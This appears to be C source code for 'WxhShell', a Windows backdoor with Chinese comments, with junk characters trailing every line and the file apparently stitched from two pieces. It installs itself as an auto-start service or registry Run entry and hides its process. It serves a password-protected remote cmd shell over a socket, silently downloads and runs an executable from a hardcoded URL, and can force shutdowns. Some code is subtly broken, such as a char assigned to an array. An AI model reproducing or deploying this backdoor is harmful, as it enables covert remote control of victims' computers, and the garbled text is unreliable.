    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PJKY$s.  
    else { *vBhd2HO  
    closesocket(wsh); =>Ae]mi 7  
    ExitThread(0); Kc r)W  
    } h\#4[/  
    break; C`Vuw|Xl  
    } ~hk!N!J\  
  // 获取shell IA1O]i S  
  case 's': { W!8$:Ih_Z  
    CmdShell(wsh); UE_>@_T  
    closesocket(wsh); :FSg%IUX  
    ExitThread(0); :W&kl UU"  
    break; GPAC0K^p  
  } vr47PM2al  
  // 退出 }T902RL0  
  case 'x': { vQXF$/S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); myXGMN$i  
    CloseIt(wsh); *URY8 a`bO  
    break; eWYet2!Q  
    } Brg0:5H   
  // 离开 ]lJ#|zd8o  
  case 'q': { >oy%qLHe~t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )rA\+XT7  
    closesocket(wsh); =#TQXm']Gi  
    WSACleanup(); $+e(k~  
    exit(1); {3vm]  
    break; Rbm+V{EF&  
        } 6"?#s/fk  
  } lKI]q<2  
  } ,trh)ZZYW|  
\iEJ9V  
  // 提示信息 0_y&9Te  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PK?}hz  
} D0f7I:i1  
  } S#+ _HFUK{  
.*EP$pc  
  return; K24y;968  
} Q4ii25]*  
IP !zg|c,  
// shell模块句柄 IMSm  
int CmdShell(SOCKET sock) %iV\nFal>  
{ $\4Or  
STARTUPINFO si; z5:3.+M5  
ZeroMemory(&si,sizeof(si)); E.VEW;=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /KvpJ4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TKw>eGe  
PROCESS_INFORMATION ProcessInfo; Z-U3Tr SI  
char cmdline[]="cmd"; Pd  6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *=E4|>Ul,  
  return 0; 0\$Lnwp_  
} %ULd_ES^  
"J >, Hr9  
// 自身启动模式 &:+_{nc,  
int StartFromService(void) 84Hm PPt  
{ WFeaX7\b  
typedef struct 5U<o%+^El  
{ A]V<K[9:b  
  DWORD ExitStatus; mW_A 3S5  
  DWORD PebBaseAddress; H~hAm  
  DWORD AffinityMask; 1nLFtiki  
  DWORD BasePriority; f'Xz4;  
  ULONG UniqueProcessId; 9qZ|=r]y'  
  ULONG InheritedFromUniqueProcessId; SLd9-N}T  
}   PROCESS_BASIC_INFORMATION; MT&q~jx*  
\v9<L'NP)  
PROCNTQSIP NtQueryInformationProcess; e8]mdU{)  
HZ2zL17  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KRcg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f;ycQc@f  
T?5F0WKi  
  HANDLE             hProcess; >y q L  
  PROCESS_BASIC_INFORMATION pbi; M[T!AO-S$  
inGH'nl_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~u-`L+G"6  
  if(NULL == hInst ) return 0; h"nv[0!)  
\@n/L{}(@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |@)ij c4i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bL7mlh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !C0= h  
b}q,cm  
  if (!NtQueryInformationProcess) return 0; U(qM( E  
==j3 9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UuA=qWC  
  if(!hProcess) return 0; Y.Ew;\6U  
8%U)EU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3 ?/}  
`wG&Cy]v  
  CloseHandle(hProcess); %n c+VL4  
g(;ejKSR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N=L urXv  
if(hProcess==NULL) return 0; 7~`6~qg.  
B "}GAk}V  
HMODULE hMod; I`KN8ll  
char procName[255]; tbk9N( R  
unsigned long cbNeeded; )ZmE"  
+V\NMW4d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )'<zC  
&c@I4RV|q  
  CloseHandle(hProcess); TT&!WbA-Hk  
o_$r*Z|HG  
if(strstr(procName,"services")) return 1; // 以服务启动 RMrt4:-DI  
gA) F  
  return 0; // 注册表启动 uTJ?@ ^nq  
} Cw^)}23R  
Wj*6}N/  
// 主模块 wy&*6>.  
int StartWxhshell(LPSTR lpCmdLine) O "h+i>|l  
{ n:!J3pR  
  SOCKET wsl; I2l'y8)d  
BOOL val=TRUE; ,wEM  
  int port=0; {k]VT4/  
  struct sockaddr_in door; `RzM)ILl  
=XS'V*  
  if(wscfg.ws_autoins) Install(); SoY&R=  
Ia"bP` L  
port=atoi(lpCmdLine); :3Jh f$  
,[hJi3xM  
if(port<=0) port=wscfg.ws_port; {DO9{96w4  
0UB'6wRVo  
  WSADATA data; XKK*RVs#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <(t<gS#  
JT-Zo OZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Cw2+@7?|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,^,J[F  
  door.sin_family = AF_INET; bU,& |K/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LtvyWc`  
  door.sin_port = htons(port); ) D`_V.,W  
 JuI,wA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q.X-2jjpx:  
closesocket(wsl); (6+0U1[Iz  
return 1; tE>:kx0*3  
} J8D-a!  
QBo^{],  
  if(listen(wsl,2) == INVALID_SOCKET) { tr}$82Po  
closesocket(wsl); tw')2UGg  
return 1; MdfkC6P  
} +]_} \  
  Wxhshell(wsl); Zj0&/S  
  WSACleanup(); fj JIF%  
*Ee# x!O  
return 0; 1|89-Ii]  
5~? J  
} xMh&C{q  
cS[`1y,\3  
// 以NT服务方式启动 0nuFWV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pVY.&XBZ$  
{ 5VcYdu3  
DWORD   status = 0; ']NM_0  
  DWORD   specificError = 0xfffffff; O#|E7;  
&pAT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pQhv3F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GgYomR:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Vqr&)i"b$  
  serviceStatus.dwWin32ExitCode     = 0; eyWwE%  
  serviceStatus.dwServiceSpecificExitCode = 0; DQ}]'*@?  
  serviceStatus.dwCheckPoint       = 0; iB`m!g6$  
  serviceStatus.dwWaitHint       = 0; oAx0$]+%V)  
G7<X l}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kgu+ q\?  
  if (hServiceStatusHandle==0) return; %"6IAt  
NlMx!f>b%/  
status = GetLastError(); 3^a"$VW1  
  if (status!=NO_ERROR) L$Q+R'  
{ |g{AD`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 57}q'84  
    serviceStatus.dwCheckPoint       = 0; Sq'z<}o  
    serviceStatus.dwWaitHint       = 0; /_|1,x-Kx  
    serviceStatus.dwWin32ExitCode     = status; ?~{xL"  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^b#E%Rd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]=3O,\  
    return; J@fE" )  
  } V_QVLW  
k|D!0^HE[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VGq]id{*$  
  serviceStatus.dwCheckPoint       = 0; %Z? o]  
  serviceStatus.dwWaitHint       = 0; v> 5F[0gE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G Xl?Zg  
} [`lAc V<  
;rKYWj>IR  
// 处理NT服务事件,比如:启动、停止 Y(f-e,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xd3  
{ 2o/`8+eJu  
switch(fdwControl) Fqv5WoYVf  
{ qr 9 F  
case SERVICE_CONTROL_STOP: [8w2U%}]  
  serviceStatus.dwWin32ExitCode = 0; YB|9k)Z2[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kes'q8k  
  serviceStatus.dwCheckPoint   = 0; ihVQ,Cth  
  serviceStatus.dwWaitHint     = 0; = !X4j3Cv  
  { ZIp=JR8o$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u/f&Wq/  
  } =)8Ct  
  return; 68*{Lo?U  
case SERVICE_CONTROL_PAUSE: |*5nr5c_L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4#w^PM8}  
  break; gib]#n1!p  
case SERVICE_CONTROL_CONTINUE: kR ]SxG9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2cg z n@  
  break; ,Mc 2dhq  
case SERVICE_CONTROL_INTERROGATE: Ul Iw&U  
  break; +q$|6?  
}; p rgjU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P$Q&xN<#)  
} ~aG-^BAS  
(Nahtx!/9  
// 标准应用程序主函数 hd;I x%tq>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rzHa&:Y  
{ $5r,Q{;$  
O@rb4(  
// 获取操作系统版本 pg)g&ifKl  
OsIsNt=GetOsVer(); !*gAGt_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >``GDjcJ  
,GIqRT4K  
  // 从命令行安装 |Y11sDa9h  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]r6bJ 2  
vNbA/sM  
  // 下载执行文件 mtHz6+  
if(wscfg.ws_downexe) { $@)d9u cd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U^&Cvxc[[  
  WinExec(wscfg.ws_filenam,SW_HIDE); #8jd,I% L  
} 3)a29uc:U  
MavO`m&Cg  
if(!OsIsNt) { (SK5pU  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]w>fnew  
HideProc(); N sL"p2w~  
StartWxhshell(lpCmdLine); E,@UM$alP  
} df& |Lc1J  
else W)cLMGet  
  if(StartFromService()) ;G]'}$`/q  
  // 以服务方式启动 :\_MA^<  
  StartServiceCtrlDispatcher(DispatchTable); F.D1;,x  
else c^IEj1@}'?  
  // 普通方式启动 ud D[hPJd  
  StartWxhshell(lpCmdLine); H@' @xHv  
;[ueNP%*y|  
return 0; I/jr` 3Mj  
} 4 G[hU4L  
Yur)_m  
@/L. BfTz  
em}Qv3*#  
=========================================== 1,'^BgI,  
c&-$?f r  
{2r7:nvR  
x~^I/$  
|81N/]EER  
6~W E#z_  
" 'Y\"^'OU\  
W2qQKv  
#include <stdio.h> 5Suc#0y  
#include <string.h> >:&p(eu)L0  
#include <windows.h> 0K0=Ob^(e  
#include <winsock2.h> l0if#?4\r  
#include <winsvc.h> r$Y!Y#hwQ  
#include <urlmon.h> Ky$G$H  
7,UFIHq  
#pragma comment (lib, "Ws2_32.lib") @!3^/D3  
#pragma comment (lib, "urlmon.lib") 6 JYOe  
'/g+;^_cB  
#define MAX_USER   100 // 最大客户端连接数 zq r%7U  
#define BUF_SOCK   200 // sock buffer D ;$+]2  
#define KEY_BUFF   255 // 输入 buffer Zb;$ZUWQX  
3>)BI(Wl  
#define REBOOT     0   // 重启 Lu.tRZ`$38  
#define SHUTDOWN   1   // 关机 '<S:|$ $  
>[4|6k|\x  
#define DEF_PORT   5000 // 监听端口 .WyX/E$I^!  
= [os<+  
#define REG_LEN     16   // 注册表键长度 .oN Sg.jG  
#define SVC_LEN     80   // NT服务名长度 bCUh^#]x  
os^SD&hL  
// 从dll定义API M|e n>P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9= $,]M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =3dbw8I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <|Eby!KXR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |S`yXsg  
'xoE [0!  
// wxhshell配置信息 @k6}4O?{  
struct WSCFG { sNmC#,  
  int ws_port;         // 监听端口 \'tz|  
  char ws_passstr[REG_LEN]; // 口令 $'{`i 5XB  
  int ws_autoins;       // 安装标记, 1=yes 0=no vqz#V=J{  
  char ws_regname[REG_LEN]; // 注册表键名 T ) f_W  
  char ws_svcname[REG_LEN]; // 服务名 t0d '>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {}&f\6OI%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E/$@ud|l"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LE80`t>M#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *1S.9L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _|wY[YJ[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x~Ly$A2p  
Z)T@`B6  
}; ?V:]u 3  
`+Z#*lj|@  
// default Wxhshell configuration UH&1c8y}  
struct WSCFG wscfg={DEF_PORT, rRrW   
    "xuhuanlingzhe", mW0&uSM D  
    1, ieRBD6_  
    "Wxhshell", ;}jbdS3  
    "Wxhshell", tSc>@Q_|  
            "WxhShell Service", r9a!,^}F  
    "Wrsky Windows CmdShell Service", '# IuY  
    "Please Input Your Password: ", !XA%[u  
  1, !2U7gVt"*  
  "http://www.wrsky.com/wxhshell.exe", Mth`s{sATa  
  "Wxhshell.exe" ;6 6_G Sjz  
    }; }rA+W-7  
mYOdBd  
// 消息定义模块 )LrCoI =|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ( WtE`f;Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _6S b.9m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >c\v&k>6.  
char *msg_ws_ext="\n\rExit."; )F#<)Evw  
char *msg_ws_end="\n\rQuit."; $]U5  
char *msg_ws_boot="\n\rReboot..."; q '{<c3&  
char *msg_ws_poff="\n\rShutdown..."; /0&:Yp=>  
char *msg_ws_down="\n\rSave to ";  )P9{47  
{G1aAM\Hz  
char *msg_ws_err="\n\rErr!"; 1L=Qg4 H  
char *msg_ws_ok="\n\rOK!"; = *;Xc-_  
w$[Ds  
char ExeFile[MAX_PATH]; mImbS)V  
int nUser = 0; ?"<r9S|[O  
HANDLE handles[MAX_USER]; uC*:#[  
int OsIsNt; ^r$iN %&~  
|od4kt  
SERVICE_STATUS       serviceStatus; ;n7|.O]*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R ms01m>Y  
s.I1L?s1w?  
// 函数声明 pM'IQ3N  
int Install(void); 5v>{Z0TE[6  
int Uninstall(void); qwNKRqT  
int DownloadFile(char *sURL, SOCKET wsh); G9y12HV  
int Boot(int flag); dMs39j  
void HideProc(void); {}J@+Zsi  
int GetOsVer(void); (06Vcqg  
int Wxhshell(SOCKET wsl); ;ko[(eFN@  
void TalkWithClient(void *cs); MLD>"W  
int CmdShell(SOCKET sock); e]*=sp!T  
int StartFromService(void); _QMHPRELk  
int StartWxhshell(LPSTR lpCmdLine); CX ]\Q-y  
 2H K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kGuk -P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Wt)SdF=U/  
ZH$sMh<xg  
// 数据结构和表定义 ZOrTbik  
SERVICE_TABLE_ENTRY DispatchTable[] = )lDIzLp  
{ L^ #<HQ  
{wscfg.ws_svcname, NTServiceMain},  kulQR>u  
{NULL, NULL} ZYA.1VrM  
}; ]D) 'I`  
m!#)JFe67  
// 自我安装 M$]O=2h+2  
int Install(void) B`?N0t%X  
{ rv%ye H  
  char svExeFile[MAX_PATH]; x#j\"$dla  
  HKEY key; *n*N|6 +  
  strcpy(svExeFile,ExeFile); #?$'nya*u  
X# kjt )W  
// 如果是win9x系统,修改注册表设为自启动 o ,Tr^e$  
if(!OsIsNt) { _+Jf.n20  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |1QbO`f/F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BheEI;}  
  RegCloseKey(key); B/sBYVU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [*?_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }@:QYTBi }  
  RegCloseKey(key); O{B e )E~  
  return 0; csdOIF  
    } +F7<5YW&(  
  } 3?*M{Y|  
} s*)41\V0  
else { xf^<ec  
)p!*c,  
// 如果是NT以上系统,安装为系统服务 a:-)+sgHw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); aZawBU.:  
if (schSCManager!=0) yA?ENAM  
{ NO+ 55n  
  SC_HANDLE schService = CreateService 2 %{YYT   
  ( GIRSoRVsh  
  schSCManager, /J[H5uA  
  wscfg.ws_svcname, uFm+Y]h  
  wscfg.ws_svcdisp, iO9nvM<  
  SERVICE_ALL_ACCESS, KYkS6|A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L*UV  
  SERVICE_AUTO_START, e:$7^Y,U/  
  SERVICE_ERROR_NORMAL, /Oggt^S  
  svExeFile, %7NsBR!y  
  NULL, K{ zCp6  
  NULL, 2GiUPtO&Gj  
  NULL, FM9X}%5nu9  
  NULL, :PFx&  
  NULL %l8*t$8  
  ); 4#@W;'  
  if (schService!=0) ib(>vp$V  
  { SvX=isu!.  
  CloseServiceHandle(schService); U BhciZ  
  CloseServiceHandle(schSCManager); Y3P.|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ] ;pf  
  strcat(svExeFile,wscfg.ws_svcname); p- "Z'$A`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8NaL{j1`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zmB31' _  
  RegCloseKey(key); FI1THzW4J  
  return 0; GJIWG&C03  
    } >k&8el6h  
  } Q$|^~  
  CloseServiceHandle(schSCManager); R,x>$n  
} jJ*@5?A  
} XdGpW  
J7'f@X~nM  
return 1; pK6e/eC  
} mfeMmKFu\  
HBh` 2Q  
// 自我卸载 ggm2%|?X  
int Uninstall(void) *3_f &Y  
{ e}'#Xv  
  HKEY key; <$ i"zb  
 cS D._"P  
if(!OsIsNt) { ocIt@#20 K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #cj\~T.,,  
  RegDeleteValue(key,wscfg.ws_regname); YH)Opk  
  RegCloseKey(key); O ;X(pE/G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9TVB<}0G  
  RegDeleteValue(key,wscfg.ws_regname); SUH mBo"}  
  RegCloseKey(key); \Y!T>nWn)I  
  return 0; lX98"}  
  } ]a$Wxvgq  
} Dd!Sr8L[  
} b&lN%+%}  
else { uFwU-LCe  
\!+-4,CbZY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G3RrjWtO  
if (schSCManager!=0)  SwdC,  
{ 6X@mPj[/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 10C 2=  
  if (schService!=0) ;YK!EMM4!h  
  { Aautih@LX  
  if(DeleteService(schService)!=0) { Q'Jv} 'eK_  
  CloseServiceHandle(schService); Ni2]6U  
  CloseServiceHandle(schSCManager); 9 z5"y|$  
  return 0; ,c4c@|Bh?  
  } `6a]|7|f  
  CloseServiceHandle(schService); lpl8h4d  
  } v!NB~"LQ  
  CloseServiceHandle(schSCManager); uP{; *E3?  
} X}oj_zsy;^  
} e#>tM  
T*h!d(  
return 1; D 4< -8  
} ss? ]  
S5i+vUI8C  
// 从指定url下载文件 n K+lE0  
int DownloadFile(char *sURL, SOCKET wsh) HQq`pG%m6  
{ R<f#r03@|  
  HRESULT hr; 1&"-*)  
char seps[]= "/"; %ZujCZn  
char *token; OSp?okV  
char *file; 9pWi.J  
char myURL[MAX_PATH]; #F_'}?09%  
char myFILE[MAX_PATH]; Dn~Z SrJ  
 f>.4-a?  
strcpy(myURL,sURL); [f<"p[  
  token=strtok(myURL,seps); q1YLq(e  
  while(token!=NULL) oi7 3YOB  
  { K!3{M!B   
    file=token; M'yO+bu  
  token=strtok(NULL,seps); blJIto '  
  } MV%Xhfk  
p/r~n'g$  
GetCurrentDirectory(MAX_PATH,myFILE); {mNdL J  
strcat(myFILE, "\\"); "XCU'_k=  
strcat(myFILE, file); }qer   
  send(wsh,myFILE,strlen(myFILE),0); {IJ-4>  
send(wsh,"...",3,0); C&=x3Cz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BjM+0[HC  
  if(hr==S_OK) Ci;h  
return 0; xTW3UY  
else N<9w{zIK(  
return 1; as>:\hjP##  
d i!"IQAvK  
} Tdg6kkJ  
b.QpHrnhtK  
// 系统电源模块 vFTXTbt'h  
int Boot(int flag) A2Q[%A  
{ :~yzDk\I"-  
  HANDLE hToken; CE)*qFs  
  TOKEN_PRIVILEGES tkp; :`D'jF^S  
Q Q@9_[N  
  if(OsIsNt) { 5v"Y\k+1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _-n Y2)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z;hyi'rPJ  
    tkp.PrivilegeCount = 1; d-~vR(tU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F&xv z2G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); / T ,zZ9=  
if(flag==REBOOT) { z VdKYs i^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VsEGX@;tO  
  return 0; x8Q~VVZr  
} DlDB=N0@S  
else { MFv Si  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VSh!4z1  
  return 0; PNf&@  
} Y+FP   
  } qYx!jA]O  
  else { B$ui:R/ t  
if(flag==REBOOT) { pjACFVMFX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zt?h^zf}  
  return 0; 0A.PD rM:  
} 2xDQ :=ec  
else { J==}QEhQ{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?FN9rhAC  
  return 0; j~epbl)pC  
} B22b&0  
} [a@ B =E  
' PELf P8  
return 1; {(;B5rs  
} a2o.a 2  
>rKhlUD  
// win9x进程隐藏模块 EJ G2^DSS  
void HideProc(void) /9pbnzn  
{ X<Z(]`i  
CJp-Y}fGEA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )!A 2>  
  if ( hKernel != NULL ) mH)OB?+lq  
  { GMBJjP&R]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /jR8|sb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Wm(:P  
    FreeLibrary(hKernel); 6+iK!&+=  
  } Xtkw Z3  
8)pB_en3sO  
return; L?HF'5o  
} ~ 7}]  
ilv_D~|  
// 获取操作系统版本 >Fyu@u  
int GetOsVer(void) vO]J]][  
{ '*4iqP R;  
  OSVERSIONINFO winfo; MI\]IQU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )A"jVQjI%w  
  GetVersionEx(&winfo); PK+ x6]x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &U&Zo@ot"x  
  return 1; (xL :;  
  else ailG./I+  
  return 0; +#~O'r]%GG  
} dMJ!>l>2  
jB!W2~Z  
// 客户端句柄模块 Y''6NGf  
int Wxhshell(SOCKET wsl) a%E8(ms37y  
{ OF8WDo`  
  SOCKET wsh; 12lEs3  
  struct sockaddr_in client; 4:U0f;Fs  
  DWORD myID; i j/o;_  
Aq"PG}Ic  
  while(nUser<MAX_USER) yX'IZk#_L  
{ j7}lF?cJ2  
  int nSize=sizeof(client); i:d`{kJ|[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,Aj }]h\L  
  if(wsh==INVALID_SOCKET) return 1; 0~]QIdu{AR  
'irGvex  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E_3r[1l  
if(handles[nUser]==0) $@2"{9Z  
  closesocket(wsh); WNa3^K/W{  
else ^X &)'H  
  nUser++; &dRjqn^&X  
  } ra:GzkIw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :CTL)ad2  
 , ]7XMU3  
  return 0; &2{]hRM  
} c|lU(Tf  
#W|!fILL  
// 关闭 socket q`^3ov^</  
void CloseIt(SOCKET wsh) WYLX?x  
{ >)^N J2Fd  
closesocket(wsh); fLNag~  
nUser--; o8{<qn|  
ExitThread(0); W`x)=y]Z  
} skR,-:"8  
RM,'o[%  
// 客户端请求句柄 >rw"Rd'  
void TalkWithClient(void *cs) OR;&TbWF(R  
{ _R74/|  
p+[} Hxx=  
  SOCKET wsh=(SOCKET)cs; >A($8=+#x  
  char pwd[SVC_LEN]; U Du~2%  
  char cmd[KEY_BUFF]; HN68!v}C|  
char chr[1]; ;&kn"b}G;  
int i,j; iNJAZ6@+  
 hgO?+x  
  while (nUser < MAX_USER) { \Yq0 zVol  
"0-y*1/m  
if(wscfg.ws_passstr) { lR@& Z6lw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B+46.bIH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ! =WcF5  
  //ZeroMemory(pwd,KEY_BUFF); H)5QqZ8  
      i=0; ,QvYTJ{  
  while(i<SVC_LEN) { F7T E|LZ  
]fE3s{y &-  
  // 设置超时 KO&:06V{  
  fd_set FdRead; l.oBcg[  
  struct timeval TimeOut; -B 9S}NPo  
  FD_ZERO(&FdRead); 6m[9b*s7  
  FD_SET(wsh,&FdRead); oLS7`+b$  
  TimeOut.tv_sec=8; Pm^lr!3p  
  TimeOut.tv_usec=0; dB3N%pB^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %S`ik!K"I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7Z0/(V.-  
E >}q2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S+ebO/$>  
  pwd=chr[0]; b_vTGl1_6  
  if(chr[0]==0xd || chr[0]==0xa) { 4SR(->@  
  pwd=0; g 1@wf  
  break; bSrZ{l  
  } jNc<~{/  
  i++; $.:3$et@/  
    } tD-gc ''H  
e$wt&^W  
  // 如果是非法用户,关闭 socket a$m_D!b~_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9m8ee&,  
} tU:FX[&?R  
FT.@1/)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~`R1sSr"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G{o+R]Us  
zvr\36  
while(1) { yX! #a>d"H  
(Es{la G  
  ZeroMemory(cmd,KEY_BUFF); /U*yw5  
ETp'oh}?  
      // 自动支持客户端 telnet标准   M<(u A'  
  j=0; *jF#^=  
  while(j<KEY_BUFF) { U$'y_}V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !O{ z 3W  
  cmd[j]=chr[0]; <HQ&-jx  
  if(chr[0]==0xa || chr[0]==0xd) { T//S,   
  cmd[j]=0; Df@/cT  
  break; e{C6by"j{S  
  } F=}Z51|:~  
  j++; 2Va4i7"X\  
    } V;93).-$  
Dp^/gL=  
  // 下载文件 54q3R`y  
  if(strstr(cmd,"http://")) { 8=Q V N_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J^ ={}  
  if(DownloadFile(cmd,wsh)) cy1jZ1)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); doD>m?rig3  
  else ><Uk*mwL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T"!EK&  
  } ,%hj cGX11  
  else { xR908+>5  
uRQ_'l  
    switch(cmd[0]) { o:UXPAj  
  z+3 9ee  
  // 帮助 R2LK.bTVn  
